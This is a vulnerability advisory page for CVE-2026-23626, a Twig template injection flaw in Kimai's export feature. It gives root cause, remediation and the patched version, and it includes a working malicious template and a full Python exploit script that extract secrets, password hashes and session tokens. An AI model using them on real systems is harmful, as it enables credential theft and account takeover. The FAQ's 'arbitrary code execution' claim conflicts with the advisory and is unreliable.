CVE-2026-23626: Kimai Vulnerable to Authenticated Server-Side Template Injection (SSTI)

Published Jan 18, 2026
·
Updated

Kimai 2.45.0 - Authenticated Server-Side Template Injection (SSTI)

Vulnerability Summary

| Field | Value | |-------|-------| | Title | Authenticated SSTI via Permissive Export Template Sandbox || Attack Vector | Network | | Attack Complexity | Low | | Privileges Required | High (Admin with export permissions and server access) | | User Interaction | None | | Impact | Confidentiality: HIGH (Credential/Secret Extraction) | | Affected Versions | Kimai 2.45.0 (likely earlier versions) | | Tested On | Docker: kimai/kimai2:apache-2.45.0 | | Discovery Date | 2026-01-05 |

---

Why Scope is "Changed": The extracted APPSECRET can be used to forge Symfony login links for ANY user account, expanding the attack beyond the initially compromised admin context.

---

Vulnerability Description

Kimai's export functionality uses a Twig sandbox with an overly permissive security policy (DefaultPolicy) that allows arbitrary method calls on objects available in the template context. An authenticated user with export permissions can deploy a malicious Twig template that extracts sensitive information including:

1. Environment Variables (APPSECRET, DATABASEURL) 2. All User Password Hashes (bcrypt) 3. Serialized Session Tokens 4. CSRF Tokens

---

Prerequisites

1. Authenticated Access: Valid account with export permissions (typically ROLEADMIN, ROLESUPERADMIN, or ROLETEAMLEAD) 2. Template Deployment: Ability to place a malicious .pdf.twig template in /opt/kimai/var/export/ via: - Filesystem access (server admin)

---

Test Environment

Users in Test Instance

The test environment contains 2 users whose password hashes were successfully extracted:

Kimai Users Page - screenshotusers.png: <img width="1124" height="1119" alt="screenshotusers" src="https://github.com/user-attachments/assets/89771b84-a95c-4c6d-9515-7e9a38ef3235" />

| User | Role | Hash Extracted | |------|------|----------------| | admin | ROLESUPERADMIN | ✅ Yes | | lowpriv | ROLEUSER | ✅ Yes |

---

Confirmed Exploitation Evidence

Test Date: 2026-01-05

Extracted Data (Actual Output from Exploit)

===SSTIEXTRACTIONSTART===

1. ENVIRONMENT VARIABLES APPSECRET: changethistosomethingunique DATABASEURL: mysql://kimai:kimai@db:3306/kimai?charset=utf8mb4&serverVersion=8.0 APPENV: prod

2. SESSION TOKEN (SERIALIZED) O:74:"Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken":3:{ i:0;N;i:1;s:12:"securedarea";i:2;a:5:{ i:0;O:15:"App\Entity\User":5:{ s:2:"id";i:1; s:8:"username";s:5:"admin"; s:7:"enabled";b:1; s:5:"email";s:17:"admin@example.com"; s:8:"password";s:60:"$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye"; } i:1;b:1;i:2;N;i:3;a:0:{} i:4;a:2:{i:0;s:16:"ROLESUPERADMIN";i:1;s:9:"ROLEUSER";} } }

3. CURRENT USER DETAILS username: admin email: admin@example.com passwordhash: $2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye roles: ROLESUPERADMIN, ROLEUSER

4. ALL USER PASSWORD HASHES (FROM TIMESHEETS) admin:$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye lowpriv:$2y$13$kgUXWI.PNtatDuOA6YV1.OWQ8DzWep1upVSs2dzrR8Wcw.HyA8E4a

5. CSRF TOKENS csrf/search: IJ42Y5X-YIoBApjE3fsMVVTzf8cBXsA5jvRRmthbi-4 csrf/datatableupdate: 3RCV4maZUAbBg5XK9hICKWT7PyAK0yjzCzHLtbBJ58

===SSTIEXTRACTIONEND===

---

Root Cause Analysis

Vulnerable Code: src/Twig/SecurityPolicy/ExportPolicy.php

The export functionality uses ExportPolicy which includes DefaultPolicy:

php $this->policy->addPolicy(new DefaultPolicy());

The Problem: src/Twig/SecurityPolicy/DefaultPolicy.php

php final class DefaultPolicy implements SecurityPolicyInterface { public function checkSecurity($tags, $filters, $functions): void { // EMPTY - No restrictions on Twig tags/filters/functions }

public function checkMethodAllowed($obj, $method): void { // EMPTY - Allows ANY method call on ANY object }

public function checkPropertyAllowed($obj, $property): void { // EMPTY - Allows ANY property access on ANY object } }

This allows templates to call methods like: - app.request.server.get("APPSECRET") - Environment variable access - app.session.get("securitysecuredarea") - Session data access - entry.user.password - Password hash access

---

Exploitation Steps

Step 1: Deploy Malicious Template

Save the following as /opt/kimai/var/export/ssti-extract.pdf.twig:

bash docker exec kimai-kimai-1 bash -c 'cat > /opt/kimai/var/export/ssti-extract.pdf.twig << "TEMPLATE" <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title>SSTI Data Extraction</title> <style> body { font-family: monospace; font-size: 10px; } h1, h2 { color: #333; } pre { background: #f5f5f5; padding: 10px; overflow-wrap: break-word; } </style> </head> <body>

<h1>===SSTIEXTRACTIONSTART===</h1>

<h2>1. ENVIRONMENT VARIABLES</h2> <pre> APPSECRET: {{ app.request.server.get("APPSECRET") }} DATABASEURL: {{ app.request.server.get("DATABASEURL") }} APPENV: {{ app.request.server.get("APPENV") }} APPDEBUG: {{ app.request.server.get("APPDEBUG") }} </pre>

<h2>2. SESSION TOKEN (SERIALIZED)</h2> <pre> {{ app.session.get("securitysecuredarea") }} </pre>

<h2>3. CURRENT USER DETAILS</h2> <pre> {% set user = query.currentUser %} username: {{ user.username }} email: {{ user.email }} passwordhash: {{ user.password }} roles: {{ user.roles|join(", ") }} id: {{ user.id }} </pre>

<h2>4. ALL USER PASSWORD HASHES (FROM TIMESHEETS)</h2> <pre> {% set seen = {} %} {% for entry in entries %} {% if entry.user is defined and entry.user.username not in seen %} {% set seen = seen|merge({(entry.user.username): true}) %} {{ entry.user.username }}:{{ entry.user.password }} {% endif %} {% endfor %} </pre>

<h2>5. CSRF TOKENS</h2> <pre> csrf/search: {{ app.session.get("csrf/search") }} csrf/datatableupdate: {{ app.session.get("csrf/datatableupdate") }} csrf/entitiesmultiupdate: {{ app.session.get("csrf/entitiesmultiupdate") }} </pre>

<h2>6. USER PREFERENCES</h2> <pre> {% set user = query.currentUser %} {% for pref in user.preferences %} {{ pref.name }}: {{ pref.value }} {% endfor %} </pre>

<h1>===SSTIEXTRACTIONEND===</h1>

</body> </html> TEMPLATE'

Step 2: Run the Exploit

bash python3 sstiexploit.py http://localhost:8001 admin ChangeMeStrong123!

Step 3: Extract Text from PDF

bash pdftotext kimaiextracteddata.pdf -

---

Detailed Exploit Usage

Requirements

bash Install Python dependencies pip install requests

Install PDF text extraction tool sudo apt install poppler-utils

Command Syntax

python3 sstiexploit.py <targeturl> <username> <password> [templatename]

Arguments: targeturl - Kimai instance URL (e.g., http://localhost:8001) username - Valid admin username with export permissions password - User password templatename - Optional: custom template (default: ssti-extract.pdf.twig)

Example Usage

bash Basic usage python3 sstiexploit.py http://localhost:8001 admin ChangeMeStrong123!

With custom template python3 sstiexploit.py http://localhost:8001 admin ChangeMeStrong123! custom-template.pdf.twig

Expected Output

╔═══════════════════════════════════════════════════════════════╗ ║ Kimai 2.45.0 - SSTI Information Disclosure Exploit ║ ║ ║ ║ Extracts: APPSECRET, DATABASEURL, Password Hashes ║ ╚═══════════════════════════════════════════════════════════════╝

[] Connecting to http://localhost:8001 [] Authenticating as admin [+] Successfully authenticated as admin [] Triggering SSTI with template: ssti-extract.pdf.twig [+] PDF generated successfully: 35356 bytes [+] PDF saved to: kimaiextracteddata.pdf

============================================================ RAW EXTRACTED DATA: ============================================================ ===SSTIEXTRACTIONSTART===

1. ENVIRONMENT VARIABLES APPSECRET: changethistosomethingunique DATABASEURL: mysql://kimai:kimai@db:3306/kimai?charset=utf8mb4&serverVersion=8.0 APPENV: prod

2. SESSION TOKEN (SERIALIZED) O:74:"Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken":3:{...}

3. CURRENT USER DETAILS username: admin email: admin@example.com passwordhash: $2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye roles: ROLESUPERADMIN, ROLEUSER

4. ALL USER PASSWORD HASHES (FROM TIMESHEETS) admin:$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye lowpriv:$2y$13$kgUXWI.PNtatDuOA6YV1.OWQ8DzWep1upVSs2dzrR8Wcw.HyA8E4a

5. CSRF TOKENS csrf/search: IJ42Y5X-YIoBApjE3fsMVVTzf8cBXsA5jvRRmthbi-4 csrf/datatableupdate: 3RCV4maZUAbBg5XK9hICKWT7PyAK0yjzCzHLtbBJ58

===SSTIEXTRACTIONEND===

============================================================ CRITICAL FINDINGS SUMMARY: ============================================================ [!] APPSECRET: changethistosomethingunique [!] DATABASEURL: mysql://kimai:kimai@db:3306/kimai?charset=utf8mb4&serverVersion=8.0 [!] Password Hashes Found: 2 unique admin:$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye... lowpriv:$2y$13$kgUXWI.PNtatDuOA6YV1.OWQ8DzWep1upVSs2dzrR8Wcw.HyA8E4a... [!] Session Token: Present (serialized PHP object) [!] CSRF Tokens: 2 found

[+] Exploitation successful! [+] Full output saved to: kimaiextracteddata.pdf

Output Files

| File | Description | |------|-------------| | kimaiextracteddata.pdf | PDF containing all extracted sensitive data |

Manual PDF Text Extraction

bash Extract text from PDF pdftotext kimaiextracteddata.pdf -

Save to file pdftotext kimaiextracteddata.pdf extractedsecrets.txt

Search for specific secrets pdftotext kimaiextracteddata.pdf - | grep -E "(APPSECRET|DATABASEURL|\\\$2y\\\$)"

Error Handling

| Error Message | Cause | Solution | |---------------|-------|----------| | Cannot connect to <url> | Target unreachable | Check URL and network | | Authentication failed | Wrong credentials | Verify username/password | | Template not found | Template not deployed | Deploy template first (Step 1) | | Access denied | Insufficient permissions | Use admin account with export perms | | pdftotext not installed | Missing tool | Run apt install poppler-utils |

---

Complete Exploit Script (sstiexploit.py)

python #!/usr/bin/env python3 """ Kimai 2.45.0 - SSTI Information Disclosure Exploit Extracts: APPSECRET, DATABASEURL, Password Hashes, Session Tokens

Prerequisites: 1. Valid admin credentials 2. Malicious template deployed at /opt/kimai/var/export/ssti-extract.pdf.twig

Usage: python3 sstiexploit.py <targeturl> <username> <password> Example: python3 sstiexploit.py http://localhost:8001 admin ChangeMeStrong123!

Author: Security Research Date: 2026-01-05 """

import requests import re import subprocess import sys import os

class KimaiSSTIExploit: def init(self, target, username, password): self.target = target.rstrip('/') self.session = requests.Session() self.username = username self.password = password def login(self): """Authenticate to Kimai""" print(f"[] Connecting to {self.target}") try: loginpage = self.session.get(f"{self.target}/en/login", timeout=10) except requests.exceptions.ConnectionError: raise Exception(f"Cannot connect to {self.target}") except requests.exceptions.Timeout: raise Exception(f"Connection timeout to {self.target}") if loginpage.statuscode != 200: raise Exception(f"Cannot reach login page: HTTP {loginpage.statuscode}") csrfmatch = re.search(r'name="csrftoken"[^>]value="([^"]+)"', loginpage.text) if not csrfmatch: raise Exception("CSRF token not found on login page") csrf = csrfmatch.group(1) print(f"[] Authenticating as {self.username}") loginresp = self.session.post( f"{self.target}/en/logincheck", data={ "username": self.username, "password": self.password, "csrftoken": csrf }, allowredirects=True, timeout=10 ) # Check for successful login if "logout" not in loginresp.text.lower() and "sign out" not in loginresp.text.lower(): if "invalid" in loginresp.text.lower() or "incorrect" in loginresp.text.lower(): raise Exception("Invalid username or password") raise Exception("Authentication failed - check credentials") print(f"[+] Successfully authenticated as {self.username}") return True def triggerssti(self, templatename="ssti-extract.pdf.twig"): """Trigger SSTI via export functionality""" print(f"[] Triggering SSTI with template: {templatename}") try: exportresp = self.session.post( f"{self.target}/en/export/data", data={ "renderer": templatename, "state": "3", # All states "billable": "0", # All billable states "exported": "5", # All export states "markAsExported": "0", }, timeout=60 ) except requests.exceptions.Timeout: raise Exception("Export request timed out") if exportresp.statuscode == 404: raise Exception(f"Template '{templatename}' not found - deploy template first") if exportresp.statuscode == 403: raise Exception("Access denied - user lacks export permissions") if exportresp.statuscode != 200: raise Exception(f"Export failed: HTTP {exportresp.statuscode}") if b'%PDF' not in exportresp.content[:10]: if b'error' in exportresp.content.lower() or b'exception' in exportresp.content.lower(): raise Exception("Template rendering error - check template syntax") raise Exception("Invalid response - expected PDF output") print(f"[+] PDF generated successfully: {len(exportresp.content)} bytes") return exportresp.content def extracttext(self, pdfcontent, outputpath="/tmp/kimaisstioutput.pdf"): """Extract text from PDF using pdftotext""" with open(outputpath, "wb") as f: f.write(pdfcontent) try: result = subprocess.run( ["pdftotext", outputpath, "-"], captureoutput=True, text=True, timeout=30 ) if result.returncode != 0: print(f"[-] pdftotext error: {result.stderr}") return None return result.stdout except FileNotFoundError: print("[-] pdftotext not installed") print(" Install with: apt install poppler-utils") return None except subprocess.TimeoutExpired: print("[-] pdftotext timed out") return None

def parsefindings(self, text): """Parse and categorize extracted data""" findings = { "appsecret": None, "databaseurl": None, "passwordhashes": [], "sessiontoken": None, "csrftokens": [] } lines = text.split('\n') for i, line in enumerate(lines): line = line.strip() if "APPSECRET:" in line: findings["appsecret"] = line.split("APPSECRET:")[-1].strip() if "DATABASEURL:" in line or "mysql://" in line: if "mysql://" in line: findings["databaseurl"] = line.strip() elif i + 1 < len(lines): findings["databaseurl"] = lines[i + 1].strip() if "$2y$" in line: findings["passwordhashes"].append(line) if "UsernamePasswordToken" in line: findings["sessiontoken"] = "Present (serialized PHP object)" if "csrf" in line.lower() or len(line) == 43: if ":" in line: findings["csrftokens"].append(line) return findings

def printbanner(): print(""" ╔═══════════════════════════════════════════════════════════════╗ ║ Kimai 2.45.0 - SSTI Information Disclosure Exploit ║ ║ ║ ║ Extracts: APPSECRET, DATABASEURL, Password Hashes ║ ╚═══════════════════════════════════════════════════════════════╝ """)

def main(): printbanner() if len(sys.argv) < 4: print("Usage: python3 sstiexploit.py <targeturl> <username> <password> [templatename]") print() print("Arguments:") print(" targeturl - Kimai instance URL (e.g., http://localhost:8001)") print(" username - Valid admin username") print(" password - User password") print(" templatename - Optional: custom template name (default: ssti-extract.pdf.twig)") print() print("Example:") print(" python3 sstiexploit.py http://localhost:8001 admin ChangeMeStrong123!") print() print("Prerequisites:") print(" 1. Deploy malicious template to /opt/kimai/var/export/ssti-extract.pdf.twig") print(" 2. User must have export permissions (ROLEADMIN or higher)") sys.exit(1) target = sys.argv[1] username = sys.argv[2] password = sys.argv[3] template = sys.argv[4] if len(sys.argv) > 4 else "ssti-extract.pdf.twig" exploit = KimaiSSTIExploit(target, username, password) try: # Step 1: Authenticate exploit.login() # Step 2: Trigger SSTI pdfcontent = exploit.triggerssti(template) # Step 3: Save PDF outputfile = "kimaiextracteddata.pdf" with open(outputfile, "wb") as f: f.write(pdfcontent) print(f"[+] PDF saved to: {outputfile}") # Step 4: Extract and display text text = exploit.extracttext(pdfcontent) if text: print() print("="60) print("RAW EXTRACTED DATA:") print("="60) print(text[:2000]) if len(text) > 2000: print(f"\n... [{len(text) - 2000} more characters]") # Parse findings findings = exploit.parsefindings(text) print() print("="60) print("CRITICAL FINDINGS SUMMARY:") print("="60) if findings["appsecret"]: print(f"[!] APPSECRET: {findings['appsecret']}") if findings["databaseurl"]: print(f"[!] DATABASEURL: {findings['databaseurl']}") if findings["passwordhashes"]: uniquehashes = list(set(findings["passwordhashes"])) print(f"[!] Password Hashes Found: {len(uniquehashes)} unique") for h in uniquehashes[:5]: print(f" {h[:80]}...") if len(uniquehashes) > 5: print(f" ... and {len(uniquehashes) - 5} more") if findings["sessiontoken"]: print(f"[!] Session Token: {findings['sessiontoken']}") if findings["csrftokens"]: print(f"[!] CSRF Tokens: {len(findings['csrftokens'])} found") print() print("[+] Exploitation successful!") print(f"[+] Full output saved to: {outputfile}") return 0 except KeyboardInterrupt: print("\n[-] Interrupted by user") return 130 except Exception as e: print(f"[-] Exploitation failed: {e}") return 1

if name == "main": sys.exit(main())

---

Impact Analysis

| Extracted Data | Security Impact | |---------------|-----------------| | APPSECRET | Can forge Symfony login links to access ANY user account | | DATABASEURL | Direct database connection credentials exposed | | Password Hashes | Offline password cracking possible (bcrypt) | | Session Tokens | Session structure analysis, potential replay attacks | | CSRF Tokens | Bypass CSRF protection for subsequent attacks |

Attack Chain Example

1. Exploit SSTI → Extract APPSECRET 2. Use APPSECRET to forge login link for target user 3. Access target user's account without knowing their password

---

Remediation

Immediate Fix

Replace DefaultPolicy with InvoicePolicy in ExportPolicy:

php // src/Twig/SecurityPolicy/ExportPolicy.php // Change: $this->policy->addPolicy(new DefaultPolicy());

// To: $this->policy->addPolicy(new InvoicePolicy());

Additional Hardening

1. Block environment access in templates: php public function checkMethodAllowed($obj, $method): void { if ($obj instanceof Request && $method === 'getServer') { throw new SecurityError('Server access not allowed'); } }

2. Block session access in templates: php if ($obj instanceof Session) { throw new SecurityError('Session access not allowed'); }

3. Restrict User object property access: php if ($obj instanceof User && $method === 'getPassword') { throw new SecurityError('Password access not allowed'); }

---

Reported by: Mahammad Huseynkhanli

Other sources

Kimai is a web-based multi-user time-tracking application. Prior to version 2.46.0, Kimai's export functionality uses a Twig sandbox with an overly permissive security policy (DefaultPolicy) that allows arbitrary method calls on objects available in the template context. An authenticated user with export permissions can deploy a malicious Twig template that extracts sensitive information including environment variables, all user password hashes, serialized session tokens, and CSRF tokens. Version 2.46.0 patches this issue.

MITRE

Affected Software

3 affected componentsFixes available
Kimai Kimai<2.46.0
composer/kimai/kimai<2.46.0
2.46.0
Kimai Kimai<2.46.0

Event History

Jan 18, 2026
CVE Published
via MITRE·10:45 PM
Data Sourced
via MITRE·10:45 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·11:15 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·11:15 PM
RemedyAffected Software
Jan 20, 2026
Advisory Published
via GitHub·05:07 PM
Data Sourced
via GitHub·05:07 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-23626?

CVE-2026-23626 is classified as a high severity vulnerability due to the potential for authenticated server-side template injection.

2

How do I fix CVE-2026-23626?

To fix CVE-2026-23626, upgrade Kimai to version 2.46.0 or later where this vulnerability has been addressed.

3

Who is affected by CVE-2026-23626?

CVE-2026-23626 affects users of Kimai versions prior to 2.46.0, which includes all prior releases.

4

What kind of attacks can exploit CVE-2026-23626?

CVE-2026-23626 can be exploited to perform arbitrary code execution through authenticated server-side template injection.

5

What mitigation steps should be taken for CVE-2026-23626?

In addition to upgrading Kimai to version 2.46.0, it's advisable to review and restrict user permissions to minimize exposure.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203